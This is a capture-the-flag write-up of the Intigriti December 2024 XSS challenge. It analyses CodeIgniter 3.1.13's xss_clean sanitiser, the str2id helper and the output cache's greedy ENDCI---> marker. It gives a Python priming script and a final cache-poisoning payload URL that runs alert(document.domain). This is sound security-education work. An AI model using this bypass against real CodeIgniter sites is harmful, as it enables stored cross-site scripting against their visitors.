The solution:
- Should leverage a cross site scripting vulnerability on this domain;
- Should work on the latest version of
Chrome
andFireFox
; - Should not be self-XSS or related to MiTM attacks;
- Should execute
alert(document.domain)
; - Should require no user interaction;
The web challenge lets you write a title
.
First, we inspect the challenge's source code for potential exploitable bug
:
$ wget -c https://challenge-1224.intigriti.io/source.zip
$ cd source/src && git status
# deleted: application/cache/index.html ...
$ jq '.description' composer.json
"The CodeIgniter framework"
$ aider /add * --edit-format ask
source> What is the logical version of the framework used in the repo?
The current version is `3.1.13` given the `const CI_VERSION = '3.1.13';` variable,
see `https://github.com/bcit-ci/CodeIgniter/blob/3.1.13/system/core/CodeIgniter.php#L59` line.
This is not the latest release. CodeIgniter `3.1.13` does not have robust sanitization for modern vectors like mutation XSS or nested encodings.
[...]
source> What are the key differences in the source code?
1. The variable `$config['cache_query_string'] = TRUE;` is set to `FALSE` by default,
see `https://github.com/bcit-ci/CodeIgniter/blob/3.1.13/application/config/config.php#L316` line.
2. The `sed` commands in the `Dockerfile` are used for configuration and optimization of files within the container.
If improperly implemented or combined with untrusted input, they can introduce vulnerabilities.
3. Files in `controllers`, `public` and `views` folders have been added manually.
[...]
source> Given our previous conversations, what are the potential vulnerabilities in relation?
- ID Attribute Injection: The `$id` is directly derived from user input and inserted into the DOM in the `<div>` element
as `id="<?= $id ?>"`, in `source/src/application/views/view.php#L66` line.
The function `str2id` ensures no quotes (`"`) are allowed but doesn't sanitize against other malicious characters.
- Title Display Vulnerability: The `$title` variable is displayed in the `h1` tag after being passed through `htmlspecialchars`.
While `htmlspecialchars` does prevent direct XSS here, the use of `xss_clean` might not be foolproof,
especially if the attacker employs encoding tricks or special characters that bypass sanitization.
- Cache Mechanism: The `output->cache(1)` (in `source/src/application/controllers/View.php#L23` line) caches the page for `one` minute.
If an attacker can poison the cache with malicious input, subsequent visitors may receive a XSS payload.
[...]
$ cd ../source && docker build -t challenge . && docker run -p 8000:8000 challenge
[Wed Dec 11 2024] [core:notice] [pid 1:tid 1] AH00090: Command line: 'apache2 -D FOREGROUND'
Going around and taking a closer look at the code of the main page, we see that we will need to find a way to use quote
character.
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
function str2id($str) { // ./source/src/application/controllers/View.php
if (strstr($str, '"')) {
die('Error: No quotes allowed in attribute');
}
// Lowercase everything except first letters
$str = preg_replace_callback('/(^)?[A-Z]+/', function($match) {
return isset($match[1]) ? $match[0] : strtolower($match[0]);
}, $str);
// Replace whitespace with dash
return preg_replace('/[\s]/', '-', $str);
}
class View extends CI_Controller {
public function index() {
$this->load->helper('string');
$this->load->helper('security');
$this->output->cache(1);
$title = $this->input->get('title') ?: 'Christmas Fireplace';
$title = xss_clean($title);
$id = str2id($title);
$this->load->view('view', array(
"id" => $id,
"title" => $title
));
}
}
If we examine the new files created in Docker
when a request is instantiated, we see that the /var/www/html/application/cache/
folder grows as we go along:
a:2:{s:6:"expire";i:1750000000;s:7:"headers";a:0:{}}ENDCI---><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="/style.css"></head><body background="#483741" class="fire-border"><a href="/index.php" class="top-left">⬅ Go back</a><div class="wrapper"><h1>...</div></div></div></div></body></html>
Furthermore, the ENDCI
identifier between the serialized PHP/8.4.1
objects and the main html code attracts our attention so we check where it could be found:
$ grep -rnw . -e 'ENDCI'
./source/src/system/core/Output.php:622: $output = $cache_info.'ENDCI--->'.$output;
./source/src/system/core/Output.php:695: if ( ! preg_match('/^(.*)ENDCI--->/', $cache, $match))
# https://github.com/bcit-ci/CodeIgniter/blob/3.1.13/system/core/Output.php#L695
public function _write_cache($output) {
// [...]
$expire = time() + ($this->cache_expiration * 60); // Put together our serialized info.
$cache_info = serialize(array(
'expire' => $expire,
'headers' => $this->headers
));
$output = $cache_info.'ENDCI--->'.$output; // ./source/src/system/core/Output.php
for ($written = 0, $length = self::strlen($output); $written < $length; $written += $result) {
if (($result = fwrite($fp, self::substr($output, $written))) === FALSE) {
break;
}
}
flock($fp, LOCK_UN);
}
public function _display_cache(&$CFG, &$URI) {
// [...]
if ( ! preg_match('/^(.*)ENDCI--->/', $cache, $match)) { // Look for embedded serialized file info.
return FALSE;
}
$cache_info = unserialize($match[1]);
$expire = $cache_info['expire'];
$last_modified = filemtime($filepath); // Has the file expired?
if ($_SERVER['REQUEST_TIME'] >= $expire && is_really_writable($cache_path)) { // If so we'll delete it.
@unlink($filepath);
log_message('debug', 'Cache file has expired. File deleted.');
return FALSE;
} // Send the HTTP cache control headers
$this->set_cache_header($last_modified, $expire); // Add headers from cache file.
foreach ($cache_info['headers'] as $header) {
$this->set_header($header[0], $header[1]);
} // Display the cache
$this->_display(self::substr($cache, self::strlen($match[0])));
log_message('debug', 'Cache file is current. Sending it to browser.');
return TRUE;
}
We notice that the other line of code preg_match('/^(.*)ENDCI--->/', $cache, $match)
uses a greedy
regular expression that will match all ENDCI--->
character strings.
This would quickly become a problem if our payload ended up there when the page is cached.
But the first concern is that part of the -->
string is filtered in the Security.php
class:
$str = $this->_do_never_allowed($str);
/**
* List of never allowed strings | $filename_bad_chars
*
* @var array
*/
protected $_never_allowed_str = array(
'<!--' => '<!--',
'-->' => '-->',
'<![CDATA[' => '<![CDATA[',
'<comment>' => '<comment>',
'<%' => '<%'
); // ./source/src/system/core/Security.php
We remember the str2id
function (in View.php
) which allows to replace spaces (as %20
in URL encoding) with hyphens.
Tooking inspiration from this video as <22 foo='bar<h1>'>test</22>
:
from bs4 import BeautifulSoup
from requests import get # Burp, curl, selenium, wget
url = "http://localhost:8000" # https://challenge-1224.intigriti.io
tag, xss = "ENDCI-%20->", "<22 foo='bar<h1>'>test</22>"
_ = get(f"{url}/index.php/view?title={tag}{xss}") # Cached requests
k = get(f"{url}/index.php/view?title={tag}{xss}").content # Refresh
soup = BeautifulSoup(k, "html.parser")
print(soup.prettify())
"""
<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body background="#483741" class="fire-border">
<div class="wrapper">
<h1>
ENDCI- -><22 foo='bar<h1>'>test</22>
</h1>
</div>
<div class="fireplace" id="ENDCI---><22-foo='bar<h1>'>test</22>"></div>
"""
# Final result:
"""
<22-foo='bar
<h1>
'>test
<!--22-->
">
<div class="bottom">
<ul class="ground">
</ul>
</div>
...
<div class="sock" id="sock-3">
<div class="second">
</div>
</div>
</h1>
"""
The regular expression patterns used to identify and clean malicious naughty HTML
elements do not correctly clear nested non-ASCII
alpha normalized tags.
public function xss_clean($str, $is_image = FALSE) {
if (is_array($str)) { // ./source/src/system/core/Security.php
foreach ($str as $key => &$value) {
$str[$key] = $this->xss_clean($value);
}
return $str;
}
$str = remove_invisible_characters($str);
if (stripos($str, '%') !== false) {
do {
$oldstr = $str;
$str = rawurldecode($str);
$str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', array($this, '_urldecodespaces'), $str);
}
while ($oldstr !== $str);
unset($oldstr);
}
$str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
$str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
$str = remove_invisible_characters($str);
$str = str_replace("\t", ' ', $str);
$converted_string = $str;
$str = $this->_do_never_allowed($str);
if ($is_image === TRUE) {
$str = preg_replace('/<\?(php)/i', '<?\\1', $str);
}
else {
$str = str_replace(array('<?', '?'.'>'), array('<?', '?>'), $str);
}
$words = array(
'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
'vbs', 'script', 'base64', 'applet', 'alert', 'document',
'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
);
foreach ($words as $word) {
$word = implode('\s*', str_split($word)).'\s*';
$str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
}
do {
$original = $str;
if (preg_match('/<a/i', $str)) {
$str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
}
if (preg_match('/<img/i', $str)) {
$str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
}
if (preg_match('/script|xss/i', $str)) {
$str = preg_replace('#</*(?:script|xss).*?>#si', '[removed]', $str);
}
}
while ($original !== $str);
unset($original);
$pattern = '#'.'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
.'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator optional attributes
.'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
.'[^\s\042\047>/=]+' // attribute characters optional attribute-value
.'(?:\s*=' // attribute-value separator
.'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
.')?' // end optional attribute-value group
.')*)' // end optional attributes group
.'[^>]*)(?<closeTag>\>)?#isS';
do {
$old_str = $str;
$str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
}
while ($old_str !== $str);
unset($old_str);
$str = preg_replace(
'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
'\\1\\2(\\3)',
$str
);
$str = preg_replace(
'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
'\\1\\2`\\3`',
$str
);
$str = $this->_do_never_allowed($str);
if ($is_image === TRUE) {
return ($str === $converted_string);
}
return $str;
}
Providing the final working cached
payload:
https://challenge-1224.intigriti.io/index.php/view?title=ENDCI-%20-><0/a='a<svg/onload=alert(document.domain)>'></0>
We need to run this beforehand every ~50
seconds until the user receives the url
.
Here a non-exhaustive ideas arborescence:
---
config:
sankey:
showValues: false
---
sankey-beta
PHP,CodeIgniter,1040
PHP,UAF,10
PHP,Object Serialization,40
CodeIgniter,View.php,410
CodeIgniter,Security.php,380
CodeIgniter,Output.php,150
str2id,ID Injection,80
View.php,cache(1),80
View.php,str2id,160
View.php,xss_clean,80
cache(1),Cache Poisoning,80
cache(1),cache_query_string,80
Security.php,xss_clean,130
Output.php,ENDCI,155
xss_clean,Cross-site scripting,370
Docker,Sed views,60
Docker,Apache2 foreground,50
Docker,Container Escape,50
We can remain in the dark for a long time but that is why it is important to change strategies and use different techniques to catch strange behaviors in the application.